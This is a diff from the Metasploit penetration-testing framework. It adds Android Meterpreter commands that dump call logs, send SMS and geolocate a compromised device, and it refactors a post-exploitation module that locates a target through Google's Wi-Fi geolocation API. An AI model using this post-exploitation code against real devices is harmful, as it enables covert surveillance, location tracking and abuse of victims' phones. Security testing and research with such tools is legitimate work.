info = client.sys.config.sysinfo
|
||||||
|
|
||||||
|
@ -317,23 +305,21 @@ class Console::CommandDispatcher::Android
|
||||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
log.each_with_index { |a, index|
|
log.each_with_index do |a, index|
|
||||||
|
|
||||||
data << "##{index.to_i + 1}\n"
|
data << "##{index.to_i + 1}\n"
|
||||||
|
|
||||||
data << "Number\t: #{a['number']}\n"
|
data << "Number\t: #{a['number']}\n"
|
||||||
data << "Name\t: #{a['name']}\n"
|
data << "Name\t: #{a['name']}\n"
|
||||||
data << "Date\t: #{a['date']}\n"
|
data << "Date\t: #{a['date']}\n"
|
||||||
data << "Type\t: #{a['type']}\n"
|
data << "Type\t: #{a['type']}\n"
|
||||||
data << "Duration: #{a['duration']}\n\n"
|
data << "Duration: #{a['duration']}\n\n"
|
||||||
}
|
end
|
||||||
|
|
||||||
::File.write(path, data)
|
::File.write(path, data)
|
||||||
print_status("Call log saved to #{path}")
|
print_status("Call log saved to #{path}")
|
||||||
|
|
||||||
return true
|
return true
|
||||||
rescue
|
rescue
|
||||||
print_error("Error getting call log: #{$!}")
|
print_error("Error getting call log: #{$ERROR_INFO}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
@ -342,14 +328,13 @@ class Console::CommandDispatcher::Android
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def cmd_check_root(*args)
|
def cmd_check_root(*args)
|
||||||
|
|
||||||
check_root_opts = Rex::Parser::Arguments.new(
|
check_root_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ]
|
'-h' => [ false, 'Help Banner' ]
|
||||||
)
|
)
|
||||||
|
|
||||||
check_root_opts.parse(args) { | opt, idx, val |
|
check_root_opts.parse(args) do |opt, _idx, _val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: check_root [options]')
|
print_line('Usage: check_root [options]')
|
||||||
|
@ -357,26 +342,123 @@ class Console::CommandDispatcher::Android
|
||||||
print_line(check_root_opts.usage)
|
print_line(check_root_opts.usage)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
is_rooted = client.android.check_root
|
is_rooted = client.android.check_root
|
||||||
|
|
||||||
if is_rooted
|
if is_rooted
|
||||||
print_good('Device is rooted')
|
print_good('Device is rooted')
|
||||||
elsif
|
else
|
||||||
print_status('Device is not rooted')
|
print_status('Device is not rooted')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_send_sms(*args)
|
||||||
|
send_sms_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-d' => [ true, 'Destination number' ],
|
||||||
|
'-t' => [ true, 'SMS body text' ],
|
||||||
|
'-dr' => [ false, 'Wait for delivery report' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
dest = ''
|
||||||
|
body = ''
|
||||||
|
dr = false
|
||||||
|
|
||||||
|
send_sms_opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line('Usage: send_sms -d <number> -t <sms body>')
|
||||||
|
print_line('Sends SMS messages to specified number.')
|
||||||
|
print_line(send_sms_opts.usage)
|
||||||
|
return
|
||||||
|
when '-d'
|
||||||
|
dest = val
|
||||||
|
when '-t'
|
||||||
|
body = val
|
||||||
|
when '-dr'
|
||||||
|
dr = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if dest.blank? || body.blank?
|
||||||
|
print_error("You must enter both a destination address -d and the SMS text body -t")
|
||||||
|
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
|
||||||
|
print_line(send_sms_opts.usage)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
sent = client.android.send_sms(dest, body, dr)
|
||||||
|
if dr
|
||||||
|
if sent[0] == "Transmission successful"
|
||||||
|
print_good("SMS sent - #{sent[0]}")
|
||||||
|
else
|
||||||
|
print_error("SMS send failed - #{sent[0]}")
|
||||||
|
end
|
||||||
|
if sent[1] == "Transmission successful"
|
||||||
|
print_good("SMS delivered - #{sent[1]}")
|
||||||
|
else
|
||||||
|
print_error("SMS delivery failed - #{sent[1]}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if sent == "Transmission successful"
|
||||||
|
print_good("SMS sent - #{sent}")
|
||||||
|
else
|
||||||
|
print_error("SMS send failed - #{sent}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_wlan_geolocate(*args)
|
||||||
|
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line('Usage: wlan_geolocate')
|
||||||
|
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
||||||
|
print_line(wlan_geolocate_opts.usage)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
log = client.android.wlan_geolocate
|
||||||
|
wlan_list = []
|
||||||
|
log.each do |x|
|
||||||
|
mac = x['bssid']
|
||||||
|
ssid = x['ssid']
|
||||||
|
ss = x['level']
|
||||||
|
wlan_list << [mac, ssid, ss.to_s]
|
||||||
|
end
|
||||||
|
|
||||||
|
if wlan_list.blank?
|
||||||
|
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
g = Rex::Google::Geolocation.new
|
||||||
|
|
||||||
|
wlan_list.each do |wlan|
|
||||||
|
g.add_wlan(*wlan)
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
g.fetch!
|
||||||
|
rescue RuntimeError => e
|
||||||
|
print_error("Error: #{e}")
|
||||||
|
else
|
||||||
|
print_status(g.to_s)
|
||||||
|
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Name for this dispatcher
|
# Name for this dispatcher
|
||||||
#
|
#
|
||||||
def name
|
def name
|
||||||
'Android'
|
'Android'
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.7'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.0.8'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
|
|
|
@ -5,8 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'json'
|
require 'rex/google/geolocation'
|
||||||
require 'net/http'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
@ -40,78 +39,68 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_wireless_win(listing)
|
def parse_wireless_win(listing)
|
||||||
wlan_list = ''
|
wlan_list = []
|
||||||
raw_networks = listing.split("\r\n\r\n")
|
raw_networks = listing.split("\r\n\r\n")
|
||||||
|
|
||||||
raw_networks.each { |network|
|
raw_networks.each do |network|
|
||||||
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
|
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
|
||||||
if !details.nil?
|
if !details.nil?
|
||||||
strength = get_strength(details[3])
|
strength = get_strength(details[3])
|
||||||
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}"
|
wlan_list << [ details[2], details[1], strength ]
|
||||||
wlan_list << network_data
|
end
|
||||||
end
|
end
|
||||||
}
|
|
||||||
|
|
||||||
return wlan_list
|
return wlan_list
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def parse_wireless_linux(listing)
|
def parse_wireless_linux(listing)
|
||||||
wlan_list = ''
|
wlan_list = []
|
||||||
raw_networks = listing.split("Cell ")
|
raw_networks = listing.split("Cell ")
|
||||||
|
|
||||||
raw_networks.each { |network|
|
raw_networks.each do |network|
|
||||||
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
|
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
|
||||||
if !details.nil?
|
if !details.nil?
|
||||||
network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}"
|
wlan_list << [ details[1], details[3], details[2] ]
|
||||||
wlan_list << network_data
|
end
|
||||||
end
|
end
|
||||||
}
|
|
||||||
|
|
||||||
return wlan_list
|
return wlan_list
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_wireless_osx(listing)
|
def parse_wireless_osx(listing)
|
||||||
wlan_list = ''
|
wlan_list = []
|
||||||
raw_networks = listing.split("\n")
|
raw_networks = listing.split("\n")
|
||||||
|
|
||||||
raw_networks.each { |network|
|
raw_networks.each do |network|
|
||||||
network = network.strip
|
network = network.strip
|
||||||
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
|
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
|
||||||
if !details.nil?
|
if !details.nil?
|
||||||
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}"
|
wlan_list << [ details[2], details[1], details[3] ]
|
||||||
wlan_list << network_data
|
end
|
||||||
end
|
end
|
||||||
}
|
|
||||||
|
|
||||||
return wlan_list
|
return wlan_list
|
||||||
end
|
end
|
||||||
|
|
||||||
def perform_geolocation(wlan_list)
|
def perform_geolocation(wlan_list)
|
||||||
|
|
||||||
if wlan_list.blank?
|
if wlan_list.blank?
|
||||||
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
g = Rex::Google::Geolocation.new
|
||||||
|
|
||||||
# Build and send the request to Google
|
wlan_list.each do |wlan|
|
||||||
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
|
g.add_wlan(*wlan)
|
||||||
uri = URI.parse(URI.encode(url))
|
end
|
||||||
request = Net::HTTP::Get.new(uri.request_uri)
|
|
||||||
http = Net::HTTP::new(uri.host,uri.port)
|
|
||||||
http.use_ssl = true
|
|
||||||
response = http.request(request)
|
|
||||||
|
|
||||||
# Gather the required information from the response
|
begin
|
||||||
if response && response.code == '200'
|
g.fetch!
|
||||||
results = JSON.parse(response.body)
|
rescue RuntimeError => e
|
||||||
latitude = results["location"]["lat"]
|
print_error("Error: #{e}")
|
||||||
longitude = results["location"]["lng"]
|
|
||||||
accuracy = results["accuracy"]
|
|
||||||
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
|
|
||||||
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
|
|
||||||
else
|
else
|
||||||
print_error("Failure connecting to Google for location lookup.")
|
print_status(g.to_s)
|
||||||
|
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -125,9 +114,9 @@ class Metasploit3 < Msf::Post
|
||||||
else
|
else
|
||||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||||
platform = session.sys.config.sysinfo['OS']
|
platform = session.sys.config.sysinfo['OS']
|
||||||
|
platform = 'osx' if platform =~ /darwin/i
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
case platform
|
case platform
|
||||||
when /win/i
|
when /win/i
|
||||||
|
|
||||||
|
@ -214,10 +203,10 @@ class Metasploit3 < Msf::Post
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,31 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
#
|
||||||
|
# This tool asks Google for the location of a given set of BSSIDs
|
||||||
|
#
|
||||||
|
|
||||||
|
msfbase = __FILE__
|
||||||
|
while File.symlink?(msfbase)
|
||||||
|
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||||
|
end
|
||||||
|
|
||||||
|
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||||
|
require 'rex/google/geolocation'
|
||||||
|
require 'optparse'
|
||||||
|
|
||||||
|
if ARGV.empty?
|
||||||
|
$stderr.puts("Usage: #{$PROGRAM_NAME} <mac> [mac] ...")
|
||||||
|
$stderr.puts("Ask Google for the location of the given set of BSSIDs")
|
||||||
|
$stderr.puts
|
||||||
|
$stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}")
|
||||||
|
$stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}")
|
||||||
|
exit(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
g = Rex::Google::Geolocation.new
|
||||||
|
ARGV.each do |mac|
|
||||||
|
g.add_wlan(mac, nil, -83)
|
||||||
|
end
|
||||||
|
|
||||||
|
g.fetch!
|
||||||
|
|
||||||
|
puts g, g.google_maps_url
|
Loading…
Reference in New Issue